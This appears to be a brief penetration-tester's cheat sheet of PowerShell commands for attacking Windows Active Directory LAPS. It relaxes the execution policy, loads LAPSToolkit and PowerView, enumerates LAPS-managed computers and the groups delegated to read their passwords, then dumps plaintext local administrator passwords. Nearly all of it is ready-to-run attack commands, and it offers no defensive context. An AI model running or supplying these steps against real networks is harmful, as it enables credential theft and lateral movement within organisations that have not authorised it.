-
Run in powershell:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -
Import LAPS script:
Import-Module .\LAPSToolkit.ps1 -
Check which computer under LAPS:
Get-LAPSComputers -
Check which user can read the LAPS password:
Find-LAPSDelegatedGroups -
Use PowerView to find the users (eg if results under 4 is corp1\LAPS Password Readers):
Get-NetGroupMember -GroupName "LAPS Password Readers" -
If logged in as these users run this to get plaintext password:
Get-LAPSComputers